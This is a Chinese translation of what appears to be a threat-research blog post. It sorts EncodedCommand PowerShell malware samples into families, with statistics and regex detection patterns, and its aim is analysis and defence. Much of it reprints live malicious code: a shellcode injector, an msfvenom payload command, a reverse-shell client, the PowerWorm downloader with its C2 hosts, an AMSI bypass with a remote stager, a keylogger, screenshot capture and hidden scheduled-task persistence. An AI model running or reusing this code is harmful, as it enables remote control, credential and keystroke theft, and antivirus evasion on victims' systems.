  1. $c = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbf,<SHELLCODE>,0x19;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};

虽然 Cerber 下载器占 Microsoft Word 文档中 EncodedCommand 的很大一部分,但这四个变体使用相同的技术,几乎占从 EXE 文件启动的全部内容。
代码的要点是它们按以下顺序从 DLL 导入函数:

  • “kernel32.dll” VirtualAlloc
  • “kernel32.dll” CreateThread
  • “msvcrt.dll” memset

然后他们使用“0x”十六进制表示将他们的 shellcode 加载到一个字节数组中。接下来,他们调用 VirtualAlloc 来分配至少 4,096 字节的 RWX 内存页面,使用 memset 将字节数组复制到内存中,最后使用 CreateThread 将执行转移到 shellcode。
在 1,971 个样本中,有 1,211 个独特的 shellcode 有效载荷,表明其中超过 50% 被重复用于其他攻击。这些工具中的大多数使用 Metasploit 来生成 shellcode,如果它们不接受指定有效负载,通常会选择反向 Meterpreter shell。例如,下面一行来自 Magic Unicorn 的代码,显示了如何指定 MSF 有效负载。

  1. print("PS Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443")

生成payload的底层代码,包括平台、架构、编码:

  1. "msfvenom -p %s %s %s StagerURILength=5 StagerVerifySSLCert=false -e x86/shikata_ga_nai -a x86 --platform windows --smallest -f c" % (
  2. payload, ipaddr, port), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)

另一个有趣的观察是,如果您查看 shellcode 长度,前 2 个长度分别为 294 和 312 字节,分别有 846 和 544 个样本;之后样本数量急剧下降。

Shellcode 长度(字节) 数量
294 846
312 544
337 145
303 131
285 46

有趣的是,相同长度的庞大数量向我表明,他们很可能使用相同的工具生成相同的有效负载,并使用长度没有太大变化的东西,例如与可变长度 URL 相比,4 字节 IP C2。
由于此博客用于对这些变体之间的差异进行分类,因此以下是用于识别特定变体的正则表达式查询。

Shellcode注入

  1. "^(\$c = |\$1 = [\"\']\$c = )"
  2. "\$g = 0x1000"
  3. "\$z\.Length \-gt 0x1000"
  4. "\$z\[\$i\]"

Unicorn

  1. "\$w \= Add\-Type \-memberDefinition \$[a-zA-Z0-9]{3,4} \-Name"

SET

  1. "\$code \= [\']{1,2}\[DllImport"
  2. "\$sc\.Length -gt 0x1000\)"
  3. "\$winFunc::memset"

Unicorn Modified

  1. "^\$[a-zA-Z0-9]{5,7} \= \'\[DllImport.+Start\-sleep 60\}\;"

Powerfun Reverse(100 个样本 – 2.44% 覆盖率),

Powerfun Bind(2 个样本 - 0.05% 覆盖率)

在 Powerfun 中发现了代码执行的另一种变体,更具体地说,它们使用 Metasploit 的“windows/powershell_reverse_tcp”和“powershell_bind_tcp”有效负载来创建与目标系统的交互式 shell。反向负载使用 base64 编码,并使用 System.Diagnostics.Process 通过后台进程启动。

反向有效载荷

  1. if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAFHL6FcCA71W6nlhxGUKAAA=''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);

绑定负载通过使用 System.Net.Sockets.TCPClient 侦听并将接收到的 PowerShell 脚本传递给 Invoke-Expression 来设置 TCP 侦听器。

绑定有效载荷

  1. $client = New-Object System.Net.Sockets.TCPClient("192.168.56.144",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

PowerWorm(19 个样本 – 0.46% 覆盖率)

PowerWorm 是 TrendMicro 在 2014 年发布的一个恶意软件家族,它具有通过感染其他 Microsoft Office DOC(X)/XLS(X) 文件进行传播的能力。PowerShell 代码被放置在合法命令之间的“垃圾”数据混淆:

  1. 'xneZtEDC';$ErrorActionPreference = 'SilentlyContinue';'uqaaPxuaCN';'DOBHbJqlkRM';$kn = (get-wmiobject Win32_ComputerSystemProduct).UUID;'WVy';'gKEZgPRMl';if ((gp HKCU:\\Software\Microsoft\Windows\CurrentVersion\Run) -match $kn){;'mUzql';'jsvZDTQITNa';(Get-Process -id $pid).Kill();'NgpYRhj';'hVXjCtDvBc';};'tUVXQmXbZ';'lkTzhJZHwxU';'McPzodeY';'vNNYv';function e($dkez){;'TfPD';'WTw';$jt = (((iex "nslookup -querytype=txt $dkez 8.8.8.8") -match '"') -replace '"', '')[0].Trim();'HdCjwAD';'sVSjtZRvr';$ovg.DownloadFile($jt, $tg);'raVw';'OQNdBkS';$ei = $ke.NameSpace($tg).Items();'OgnucmQlK';'Qfqxov';$ke.NameSpace($sa).CopyHere($ei, 20);'GBMdJNr';'VMWS';rd $tg;'pnoFau';'SedloE';};'NxPZPIV';'ypi';'AFElBzCp';'bYRWML';'UYANxqtLg';'QBC';$sa = $env:APPDATA + '\' + $kn;'Eaxyty';'IwuaOh';if (!(Test-Path $sa)){;'amYmrKg';'vWAgqtEB';$qr = New-Item -ItemType Directory -Force -Path $sa;'GqNII';'HNPIQutUpGv';$qr.Attributes = "Hidden", "System", "NotContentIndexed";'MuRuRa';'CmlkCszVCO';};'ZdmIGyj';'nAYhOpvWV';'BIAgIntvoU';'GJTBzyjr';$zul=$sa+ '\tor.exe';'swInqmX';'LTXwOFNSuL';$axs=$sa+ '\polipo.exe';'qkI';'WJPoaNnarn';$tg=$sa+'\'+$kn+'.zip';'Sgw';'fYthyZ';$ovg=New-Object System.Net.WebClient;'Ils';'GRldQfFnfQK';$ke=New-Object -C Shell.Application;'vVoutJQ';'gHXAsaxc';'llaetDv';'Zix';if (!(Test-Path $zul) -or !(Test-Path $axs)){;'QtJINrwhS';'XkAxtKLAJ';e 'i.vankin.de';'QqVujkSIPS';'dZdn';};'GoemQSlIB';'IOcJU';'FYTMzpCupR';'qEnstu';if (!(Test-Path $zul) -or !(Test-Path $axs)){;'ZGtSt';'mHkBgIOsU';e 'gg.ibiz.cc';'sDtXmE';'xSBk';};'YaiaAJqKPin';'gFVK';'TumvJVvJKRm';'ULQwp';$pj=$sa+'\roaminglog';'numdmmhA';'ytEF';saps $zul -Ar " --Log `"notice file $pj`"" -wi Hidden;'JCBc';'CjHbOtf';do{sleep 1;$xxl=gc $pj}while(!($xxl -match 'Bootstrapped 100%: Done.'));'wYtpNVJtdz';'XggiQIPFt';saps $axs -a "socksParentProxy=localhost:9050" -wi Hidden;'dlV';'zVLSO';sleep 7;'FzlDdEynuUz';'Ci';$zpp=New-Object System.Net.WebProxy("localhost:8123");'MsOkmLs';'zRW';$zpp.useDefaultCredentials = $true;'PWXVXIMqb';'lAy';$ovg.proxy=$zpp;'gEkdkGPjVp';'xerooSjz';$ca='http://powerwormjqj42hu[.]onion/get.php?s=setup&mom=14C6EFBB-F19D-DC11-83A7-001B38A0DF85&uid=' + $kn;'SGCFq';'GkVVnp';while(!$qmh){$qmh=$ovg.downloadString($ca)};'rHo';'jtshvrR';if ($qmh -ne 'none'){;'Ju';'VuUTlp';iex $qmh;'blhE';'AeIepyNd';};'whSp';

稍微清理一下:

  1. $ErrorActionPreference = 'SilentlyContinue';
  2. $kn = (get-wmiobject Win32_ComputerSystemProduct).UUID;
  3. if ((gp HKCU:\\Software\Microsoft\Windows\CurrentVersion\Run) -match $kn) {;
  4. (Get-Process -id $pid).Kill();
  5. };
  6. function e($dkez){;
  7. $jt = (((iex "nslookup -querytype=txt $dkez 8.8.8.8") -match '"') -replace '"', '')[0].Trim();
  8. $ovg.DownloadFile($jt, $tg);
  9. $ei = $ke.NameSpace($tg).Items();
  10. $ke.NameSpace($sa).CopyHere($ei, 20);
  11. rd $tg;
  12. };
  13. $sa = $env:APPDATA + '\' + $kn;
  14. if (!(Test-Path $sa)){;
  15. $qr = New-Item -ItemType Directory -Force -Path $sa;
  16. $qr.Attributes = "Hidden", "System", "NotContentIndexed";
  17. };
  18. $zul=$sa+ '\tor.exe';
  19. $axs=$sa+ '\polipo.exe';
  20. $tg=$sa+'\'+$kn+'.zip';
  21. $ovg=New-Object System.Net.WebClient;
  22. $ke=New-Object -C Shell.Application;
  23. if (!(Test-Path $zul) -or !(Test-Path $axs)){;
  24. e 'i.vankin.de';
  25. };
  26. if (!(Test-Path $zul) -or !(Test-Path $axs)){;
  27. e 'gg.ibiz.cc';
  28. };
  29. $pj=$sa+'\roaminglog';
  30. saps $zul -Ar " --Log `"notice file $pj`"" -wi Hidden;
  31. do{
  32. sleep 1;
  33. $xxl=gc $pj
  34. } while(!($xxl -match 'Bootstrapped 100%: Done.'));
  35. saps $axs -a "socksParentProxy=localhost:9050" -wi Hidden;
  36. sleep 7;
  37. $zpp=New-Object System.Net.WebProxy("localhost:8123");
  38. $zpp.useDefaultCredentials = $true;
  39. $ovg.proxy=$zpp;
  40. $ca='http://powerwormjqj42hu[.]onion/get.php?s=setup&mom=&uid=' + $kn;
  41. while(!$qmh){
  42. $qmh=$ovg.downloadString($ca)
  43. };
  44. if ($qmh -ne 'none'){;
  45. iex $qmh;
  46. };

该代码将通过从 DNS TXT 记录中获取软件的下载 URL 来下载 Tor 和 Polipo,然后最终使用该软件不断检查传递给 Invoke-Expression 的新 PowerShell 命令。Matt Graeber 在分析此恶意软件的全部功能方面做得非常出色,并提供了底层 PowerShell 的去混淆、注释版本。

Veil Stream (7 Samples – 0.17% Coverage)

这是与“Powerfun Reverse”变体中描述的类似技术。PowerShell 代码从 base64 字符串注入内存并使用 Invoke-Expression 执行,最终启动实际的 shellcode 有效负载。代码的布局与Veil 框架的实现相关。

  1. Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('rVZtb5tIEP4eKf9+nJvw==')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

持久性

PowerShell 代码的主要目的是在主机上建立持久性。

计划任务 COM(11 个样本 - 0.27% 覆盖率)

此变体旨在通过创建运行恶意二进制文件的计划任务来创建持久性机制。此示例来自的 PE 文件会删除一个“minecraft.exe”,然后在下面启动此 PowerShell 命令 - 很可能是因为将此类功能传递给 PowerShell 比尝试将代码写入原始 dropper 更容易。
该技术主要是与Retefe 银行木马相关的样本:

  1. $TaskName = "Microsoft Windows Driver Update"
  2. $TaskDescr = "Microsoft Windows Driver Update Services"
  3. $TaskCommand = "C:\ProgramData\WindowsUpgrade\minecraft.exe"
  4. $TaskScript = ""
  5. $TaskArg = ""
  6. $TaskStartTime = [datetime]::Now.AddMinutes(1)
  7. $service = new-object -ComObject("Schedule.Service")
  8. $service.Connect()
  9. $rootFolder = $service.GetFolder("\")
  10. $TaskDefinition = $service.NewTask(0)
  11. $TaskDefinition.RegistrationInfo.Description = "$TaskDescr"
  12. $TaskDefinition.Settings.Enabled = $true
  13. $TaskDefinition.Settings.Hidden = $true
  14. $TaskDefinition.Settings.RestartCount = "5"
  15. $TaskDefinition.Settings.StartWhenAvailable = $true
  16. $TaskDefinition.Settings.StopIfGoingOnBatteries = $false
  17. $TaskDefinition.Settings.RestartInterval = "PT5M"
  18. $triggers = $TaskDefinition.Triggers
  19. $trigger = $triggers.Create(8)
  20. $trigger.StartBoundary = $TaskStartTime.ToString("yyyy-MM-dd'T'HH:mm:ss")
  21. $trigger.Enabled = $true
  22. $trigger.Repetition.Interval = "PT5M"
  23. $TaskDefinition.Settings.DisallowStartIfOnBatteries = $true
  24. $Action = $TaskDefinition.Actions.Create(0)
  25. $action.Path = "$TaskCommand"
  26. $action.Arguments = "$TaskArg"
  27. $rootFolder.RegisterTaskDefinition("$TaskName",$TaskDefinition,6,"System",$null,5)
  28. SCHTASKS /run /TN $TaskName

VB 任务(10 个样本 - 0.24% 覆盖率)

这组 PowerShell 代码最初来自一个 PE,它使用 EncodedCommand 执行 PowerShell,然后创建一个作为计划任务安装的 VBScript。VBSript 在运行后只需启动另一个 PowerShell 脚本即可实现此目的。

  1. $path= "$env:userprofile\appdata\local\microsoft\Windows"
  2. if(-not(Test-Path -Path($path)))
  3. {mkdir $path}
  4. $fileout="$path\L69742.vbs";
  5. $encstrvbs="c2V0IHdzcyA9IENyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpDQpzdHIgPSAicG93ZXIiICYgInNoIiAmICJlbGwiICYgIi5lIiAmICJ4ZSAtTm9QIC1zdGEgLU5vbkkgLWUiICYgInhlIiAmICJjIGJ5cCIgJiAiYXMiICYgInMgLWZpIiAmICJsZSAiDQpwYXRoID0gIiNkcGF0aCMiDQpzdHIgPSBzdHIgKyBwYXRoICsgIlxtYy5wczEiDQp3c3MuUnVuIHN0ciwgMCANCg0K";
  6. $bytevbs=[System.Convert]::FromBase64String($encstrvbs);
  7. $strvbs=[System.Text.Encoding]::ASCII.GetString($bytevbs);
  8. $strvbs = $strvbs.replace('#dpath#',$path);
  9. set-content $fileout $strvbs;
  10. $tmpfile="$env:TEMP\U1848931.TMP";
  11. $pscode_b64 =get-content $tmpfile | out-string;
  12. $pscode_b64=$pscode_b64.trim();
  13. $pscode = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($pscode_b64))
  14. $id = [string](get-random -min 10000 -max 100000)
  15. $pscode = $pscode.replace('#id#',$id);
  16. set-content "$path\mc.ps1" $pscode
  17. $taskstr="schtasks /create /F /sc minute /mo 2 /tn ""GoogleServiceUpdate"" /tr ""\""$fileout""\"" ";
  18. iex 'cmd /c $taskstr';
  19. {{CODE}}
  20. The base64 decoded VBScript
  21. {{CODE}}
  22. set wss = CreateObject("WScript.Shell")
  23. str = "power" & "sh" & "ell" & ".e" & "xe -NoP -sta -NonI -e" & "xe" & "c byp" & "as" & "s -fi" & "le "
  24. path = "#dpath#"
  25. str = str + path + "\mc.ps1"
  26. wss.Run str, 0

DynAmite 启动器(6 个样本 - 0.15% 覆盖率),

DynAmite KL(1 个样本 – 0.02% 覆盖率)

DynAmite 是一个“恶意软件创建工具包”,它具有您期望使用此类工具的标准功能。
Paloalto - 拉开 EncodedCommand PowerShell 攻击的帷幕 - 图7
它确实使您能够混合和匹配所需的功能,并生成执行所选任务的 PE 包装器,通常只需执行 PowerShell 命令。我看到的这个工具包生成的大部分代码都是从公共工具中获取的,但是在变量名和位置之间交换了使用。
“DynAmite Launcher”变体涵盖了通过创建计划任务建立的持久性方面。下面是这三个不同的迭代,很可能来自不同的版本和配置。

  1. schtasks.exe /create /TN "Microsoft\Windows\DynAmite\Backdoor" /XML C:\Windows\Temp\task.xml
  2. schtasks.exe /create /TN "Microsoft\Windows\DynAmite\Keylogger" /XML C:\Windows\Temp\task2.xml
  3. SCHTASKS /run /TN "Microsoft\Windows\DynAmite\Backdoor"
  4. SCHTASKS /run /TN "Microsoft\Windows\DynAmite\Keylogger"
  5. Remove-Item "C:\Windows\Temp\*.xml"
  1. #create backdoor task
  2. schtasks.exe /create /TN "Microsoft\Windows\DynAmite\DynAmite" /XML C:\Windows\Temp\dynatask.xml
  3. #create upload task
  4. schtasks.exe /create /TN "Microsoft\Windows\DynAmite\Uploader" /XML C:\Windows\Temp\upltask.xml
  5. #run backdoor task
  6. SCHTASKS /run /TN "Microsoft\Windows\DynAmite\DynAmite"
  7. #create registry entries for keylogger and screenspy
  8. New-ItemProperty -path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name Keylogger -PropertyType String -Value "C:\Windows\dynakey.exe"
  9. New-ItemProperty -path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name ScreenSpy -PropertyType String -Value "C:\Windows\dynascr.exe"
  10. #run keylogger and screenspy
  11. C:\Windows\dynakey.exe
  12. C:\Windows\dynascr.exe
  13. #cleanup temp folder
  14. Remove-Item "C:\Windows\Temp\*"
  1. $loot = ($env:LOCALAPPDATA + "\dyna\"); md $loot
  2. certutil -decode res.crt ($loot + "res"); certutil -decode kl.crt ($loot + "kl.exe"); certutil -decode st.crt ($loot + "st.exe"); certutil -decode cry.crt ($loot + "cry.exe"); certutil -decode t1.crt ($env:TEMP + "\t1.xml"); certutil -decode t2.crt ($env:TEMP + "\t2.xml"); certutil -decode t3.crt ($env:TEMP + "\t3.xml"); certutil -decode t4.crt ($env:TEMP + "\t4.xml"); certutil -decode t5.crt ($env:TEMP + "\t5.xml"); certutil -decode bd.crt C:\ProgramData\bd.exe
  3. schtasks.exe /create /TN "Microsoft\Windows\Windows Printer Manager\1" /XML ($env:TEMP + "\t1.xml")
  4. schtasks.exe /create /TN "Microsoft\Windows\Windows Printer Manager\2" /XML ($env:TEMP + "\t2.xml")
  5. schtasks.exe /create /TN "Microsoft\Windows\Windows Printer Manager\3" /XML ($env:TEMP + "\t3.xml")
  6. schtasks.exe /create /TN "Microsoft\Windows\Windows Printer Manager\4" /XML ($env:TEMP + "\t4.xml")
  7. schtasks.exe /create /TN "Microsoft\Windows\Windows Printer Manager\5" /XML ($env:TEMP + "\t5.xml")
  8. schtasks.exe /run /TN "Microsoft\Windows\Windows Printer Manager\1"
  9. schtasks.exe /run /TN "Microsoft\Windows\Windows Printer Manager\2"
  10. schtasks.exe /run /TN "Microsoft\Windows\Windows Printer Manager\3"
  11. schtasks.exe /run /TN "Microsoft\Windows\Windows Printer Manager\4"
  12. schtasks.exe /run /TN "Microsoft\Windows\Windows Printer Manager\5"
  13. Remove-Item ($env:TEMP + "\*.xml") -Recurse –Force

对于“DynAmite KL”变体,它是套件的键盘记录器部分,但直接从旧版本的 PowerSploit 函数Get-Keystrokes中提取代码。下面是脚本的主要内容和两部分的比较,显示了 DynAmite 如何更改变量和类型的位置。

获取击键

  1. $LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
  2. $RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
  3. $LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
  4. $RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
  5. $LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
  6. $RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
  7. $TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
  8. $SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
  9. $DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
  10. $EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
  11. $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
  12. $LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
  13. $RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
  14. $UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
  15. $DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
  16. $LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
  17. $RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000
  18. if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
  19. if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'}
  20. if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'}
  21. if ($TabKey) {$LogOutput += '[Tab]'}
  22. if ($SpaceBar) {$LogOutput += '[SpaceBar]'}
  23. if ($DeleteKey) {$LogOutput += '[Delete]'}
  24. if ($EnterKey) {$LogOutput += '[Enter]'}
  25. if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
  26. if ($LeftArrow) {$LogOutput += '[Left Arrow]'}
  27. if ($RightArrow) {$LogOutput += '[Right Arrow]'}
  28. if ($UpArrow) {$LogOutput += '[Up Arrow]'}
  29. if ($DownArrow) {$LogOutput += '[Down Arrow]'}
  30. if ($LeftMouse) {$LogOutput += '[Left Mouse]'}
  31. if ($RightMouse) {$LogOutput += '[Right Mouse]'}

功能 DynAKey

  1. $LeftShift = $ImportDll::GetAsyncKeyState(160)
  2. $RightShift = $ImportDll::GetAsyncKeyState(161)
  3. $LeftCtrl = $ImportDll::GetAsyncKeyState(162)
  4. $RightCtrl = $ImportDll::GetAsyncKeyState(163)
  5. $LeftAlt = $ImportDll::GetAsyncKeyState(164)
  6. $RightAlt = $ImportDll::GetAsyncKeyState(165)
  7. $TabKey = $ImportDll::GetAsyncKeyState(9)
  8. $SpaceBar = $ImportDll::GetAsyncKeyState(32)
  9. $DeleteKey = $ImportDll::GetAsyncKeyState(127)
  10. $EnterKey = $ImportDll::GetAsyncKeyState(13)
  11. $BackSpaceKey = $ImportDll::GetAsyncKeyState(8)
  12. $LeftArrow = $ImportDll::GetAsyncKeyState(37)
  13. $RightArrow = $ImportDll::GetAsyncKeyState(39)
  14. $UpArrow = $ImportDll::GetAsyncKeyState(38)
  15. $DownArrow = $ImportDll::GetAsyncKeyState(34)
  16. $LeftMouse = $ImportDll::GetAsyncKeyState(1)
  17. $RightMouse = $ImportDll::GetAsyncKeyState(2)
  18. if ((($LeftShift -eq -32767) -or ($RightShift -eq -32767)) -or (($LeftShift -eq -32768) -or ($RightShfit -eq -32768))) {$LogOutput += '[Shift] '}
  19. if ((($LeftCtrl -eq -32767) -or ($LeftCtrl -eq -32767)) -or (($RightCtrl -eq -32768) -or ($RightCtrl -eq -32768))) {$LogOutput += '[Ctrl] '}
  20. if ((($LeftAlt -eq -32767) -or ($LeftAlt -eq -32767)) -or (($RightAlt -eq -32767) -or ($RightAlt -eq -32767))) {$LogOutput += '[Alt] '}
  21. if (($TabKey -eq -32767) -or ($TabKey -eq -32768)) {$LogOutput += '[Tab] '}
  22. if (($SpaceBar -eq -32767) -or ($SpaceBar -eq -32768)) {$LogOutput += '[SpaceBar] '}
  23. if (($DeleteKey -eq -32767) -or ($DeleteKey -eq -32768)) {$LogOutput += '[Delete] '}
  24. if (($EnterKey -eq -32767) -or ($EnterKey -eq -32768)) {$LogOutput += '[Enter] '}
  25. if (($BackSpaceKey -eq -32767) -or ($BackSpaceKey -eq -32768)) {$LogOutput += '[Backspace] '}
  26. if (($LeftArrow -eq -32767) -or ($LeftArrow -eq -32768)) {$LogOutput += '[Left Arrow] '}
  27. if (($RightArrow -eq -32767) -or ($RightArrow -eq -32768)) {$LogOutput += '[Right Arrow] '}
  28. if (($UpArrow -eq -32767) -or ($UpArrow -eq -32768)) {$LogOutput += '[Up Arrow] '}
  29. if (($DownArrow -eq -32767) -or ($DownArrow -eq -32768)) {$LogOutput += '[Down Arrow] '}
  30. if (($LeftMouse -eq -32767) -or ($LeftMouse -eq -32768)) {$LogOutput += '[Left Mouse] '}
  31. if (($RightMouse -eq -32767) -or ($RightMouse -eq -32768)) {$LogOutput += '[Right Mouse] '}

其他技术

AMSI 旁路(8 个样本 - 0.20% 覆盖率)

反恶意软件扫描接口 (AMSI) 是 Microsoft 在 Windows 10 中发布的一项新功能,旨在促进应用程序和 AV 产品之间的通信。理想情况下,应用程序(在此上下文中为 PowerShell)将在运行时获取脚本,在它被反混淆或从网站远程拉入后,并通过 AMSI 将其传递给您的 AV 进行扫描。如果 AV 软件确定它是恶意的,它现在可以阻止脚本执行。

#YAOMG(又一个马特·格雷伯斯)

Matt Graeber 发布了一条单行推文 ,展示了如何通过简单地将“amsiInitFailed”更改为“True”来绕过 AMSI,这使它看起来好像加载失败并有效地跳过了此检查。

  1. [ReF].ASSEmbly.GetTYpe('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GeTFIElD('amsiInitFailed','NonPublic,Static').SetVAlue($Null,$True)};[SySteM.Net.SErviCEPOINTMaNAger]::ExPeCt100ConTinue=0;$wC=NEW-OBjEcT System.NET.WebClieNt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$Wc.HEAdERs.ADD('User-Agent',$u);$wC.PRoxY=[SYStEm.NET.WEBREQuEst]::DeFaUlTWEbProXY;$Wc.ProXY.CREDenTIALs = [SYSteM.NEt.CReDentIalCAcHe]::DeFAulTNetwORKCREdEntialS;$K=[SySTEm.TexT.EncodING]::ASCII.GETBYteS('Dv,inKZ<@{3mjG4&1k:Vcl7o)EY*J?6x');$R={$D,$K=$ArGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COuNT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-Bxor$S[($S[$I]+$S[$H])%256]}};$Wc.HEaDERs.ADD("Cookie","session=Pu8sEnIpxIwINbUOVsxlL66DoHA=");$ser='http://35.165.38[.]15:80';$t='/login/process.php';$dATa=$WC.DowNLOadDAtA($ser+$T);$IV=$DaTA[0..3];$Data=$DaTa[4..$DAtA.leNgTH];-JoIn[CHAr[]](& $R $data ($IV+$K))|IEX

该代码与 PowerShell Empire 的 EncryptedScriptDropper 的 XOR 例程具有相似的签名,并且可能是相关的或借用的代码。

PowerSploit GTS(3 个样本 - 0.07% 覆盖率)

这是一组简单地使用来自另一个工具的模块的示例,在本例中为PowerSploit Get-TimedScreenshot。该代码将使用 Drawing.Bitmap 每 2 秒截取一次屏幕截图。

  1. function Get-TimedScreenshot
  2. {
  3. [CmdletBinding()] Param(
  4. [Parameter(Mandatory=$True)]
  5. [ValidateScript({Test-Path -Path $_ })]
  6. [String] $Path,
  7. [Parameter(Mandatory=$True)]
  8. [Int32] $Interval,
  9. [Parameter(Mandatory=$True)]
  10. [String] $EndTime
  11. )
  12. Function Get-Screenshot {
  13. $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
  14. $ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
  15. $DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
  16. $DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
  17. $DrawingGraphics.Dispose()
  18. $ScreenshotObject.Save($FilePath)
  19. $ScreenshotObject.Dispose()
  20. }
  21. Try {
  22. #load required assembly
  23. Add-Type -Assembly System.Windows.Forms
  24. Do {
  25. #get the current time and build the filename from it
  26. $Time = (Get-Date)
  27. [String] $FileName = "$($Time.Month)"
  28. $FileName += '-'
  29. $FileName += "$($Time.Day)"
  30. $FileName += '-'
  31. $FileName += "$($Time.Year)"
  32. $FileName += '-'
  33. $FileName += "$($Time.Hour)"
  34. $FileName += '-'
  35. $FileName += "$($Time.Minute)"
  36. $FileName += '-'
  37. $FileName += "$($Time.Second)"
  38. $FileName += '.png'
  39. [String] $FilePath = (Join-Path $Path $FileName)
  40. Get-Screenshot
  41. Start-Sleep -Seconds $Interval
  42. }
  43. While ((Get-Date -Format HH:mm) -lt $EndTime)
  44. }
  45. Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
  46. }
  47. Get-TimedScreenshot -Path "$env:userprofile\Desktop" -Interval 2 -EndTime 24:00

对于这些类型的攻击,PowerShell 代码只是对攻击中使用的总体工具套件的扩充,可能旨在节省攻击者开发所需功能的时间。在这种情况下,Microsoft Excel 文档包含的宏首先启动一个函数来解码 PowerShell 代码并开始截屏,然后调用第二个函数来解码处理其余攻击的 PE 文件。
Paloalto - 拉开 EncodedCommand PowerShell 攻击的帷幕 - 图8
图 7 Excel 宏解码嵌入的 Powershell 脚本和 PE 文件。

移除 AV(2 个样本 - 0.05% 覆盖率)

下一个变体使用 PowerShell 强制卸载已安装的 AV 应用程序的 x86 和 x64 版本。它遍历卸载注册表路径中的条目以查找带有“AVG”的项目,然后悄悄地卸载每个实例。

